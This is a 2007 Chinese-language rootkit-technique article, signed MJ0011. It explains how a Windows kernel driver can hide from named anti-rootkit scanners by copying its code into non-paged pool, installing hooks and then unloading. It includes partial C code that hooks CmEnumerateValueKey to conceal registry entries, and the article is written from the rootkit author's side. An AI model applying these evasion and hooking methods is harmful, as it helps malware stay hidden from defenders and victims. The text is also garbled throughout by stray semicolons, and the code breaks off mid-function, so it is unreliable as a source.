class="152932">
MJ0011
th_decoder@126;.;com
2007;-;10;-;24
本文描述了一些方法,可以饒過目前主流的現代Anti;-;rootkit工具,包括但不限於;:
Icesword;最新版
Gmer最新版
Rootkit;unhooker;最新版
DarkSpy;最新版
AVG;Anti;-;rootkit最新版
等等
目前的anti;-;rootkit工具中,對於內核模塊主要采用如下幾種掃描方式;:
1.;恢復ZwQuerySystemInformation的hook;,;然後利用功能號SystemModuleInformation進行枚舉
例如Icesword
2.;遍歷PsLoadModuleList;,;Driver;/;Device;/;Section;Object鏈;,;或者TypeList鏈等;(;總之是找驅動相關對象;);進行枚舉
例如Rootkit;Unhooker;,;Gmer等
3.;內核鏡象暴力搜索;,;搜索MZ;,;PE等等標志結合進行判斷內存裡是否有PE鏡象;,;如rootkit;unhooker;,;rutkowska的modgreper等,通常只能顯示為unknow;image
4.;函數引用;,;各種routine/hook等;,;先HOOK一些常用函數,然後當驅動去調用這些函數時,記下其地址,檢測時使用;,;或者是根據各種;routine;(;dispatch;routine;,;IDT;,;Image;Notfiy等;);或各種hook;(;inline;hook;,;iat;/;eat;hook等等;);,通常只能顯示為unknow;image或unknow;xxx;handler等
5.;使用系統ImageLoad;Notfiy;,;使用一個BOOT驅動,記錄所有模塊load的消息;,;檢測時進行分析;如AVG;Anti;-;rootkit等
先說饒過;1;,;2;,;3;,;5;的辦法
很簡單,使用諸如ZwSetSystemInformation的函數加載驅動,然後在DriverEntry中分配NonPagedPool的內存,然後將功能代碼;/;函數copy到該內存中,然後進行必要的HOOK,最後返回STATUS_UNSUCCESSFULL;.
這樣驅動在PsLoadModuleList、各種對象鏈裡就消失了,自然也就不存在於ZwQuerySystemInformation枚舉的列表裡
需要注意的是,copy到內存中的代碼要盡量簡單,基本不會生成需要重定位的代碼了,但調用系統函數還是要另想辦法
我的某個RK裡是這樣做的,例如A;Function用來hook;系統函數B;,;其中需要調用系統函數C,
那麼分配一塊內存,大小;=;len;(;A;);+;sizeof;(;ULONG;);*;2
在內存的前兩個DWORD放OrgB;,;以及C的地址,後面開始放函數代碼
函數中使用call;+;5;對自身的位置進行定位,找到內存開始的位置,然後得到OrgB和C
當然也可以在COPY入內存前自己用絕對地址定位函數;~;不過不如這個方法靈活
相關代碼;:
//hook;call;CmEnumerateValueKey
void;InstallCMRegHook;()
{
PVOID;_CmEnumerateKeyValueLoc
_CmEnumerateKeyValueLoc;=;FindCmEnumerateValueKey;();
//找到;call;CmEnumerateValueKey
HookCodeLen;=;(;ULONG;);NopFunc8;-;(;ULONG;);NewCmEnumerateValueKey
//獲得NewCmEnumerateValueKey長度
HookCode3;=;ExAllocatePoolWithTag;(;NonPagedPool;,
HookCodeLen;+;4;,
MEM_TAG_HOOKCODE3;);
//分配內存
*(;ULONG;*);HookCode3;=;*(;ULONG;*);_CmEnumerateKeyValueLoc
//原函數地址放入內存
RtlCopyMemory;((;PVOID;);HookCode3;+;sizeof;(;ULONG;);,;(;PVOID;);NewCmEnumerateValueKey;,;HookCodeLen;);
//copy函數代碼
DO_SPINLOCK;();
*(;ULONG;*);_CmEnumerateValueKeyLoc;=;HookCode3;+;sizeof;(;ULONG;);
//進行HOOK
EXIT_SPINLOCK;();
return
}
NTSTATUS;NewCmEnumearateValueKey;(;IN;PVOID;KeyControlBlock;,
IN;ULONG;Index;,
IN;KEY_VALUE_INFORMATION_CLASS;KeyValueInformationClass;,
IN;PVOID;KeyValueInformation;,
IN;ULONG;KeyLength;,
IN;PULONG;ResultLength
)
{
//下面找到本函數開始地址,並獲得保存在內存中的OrgCmEnumerateValueKey的地址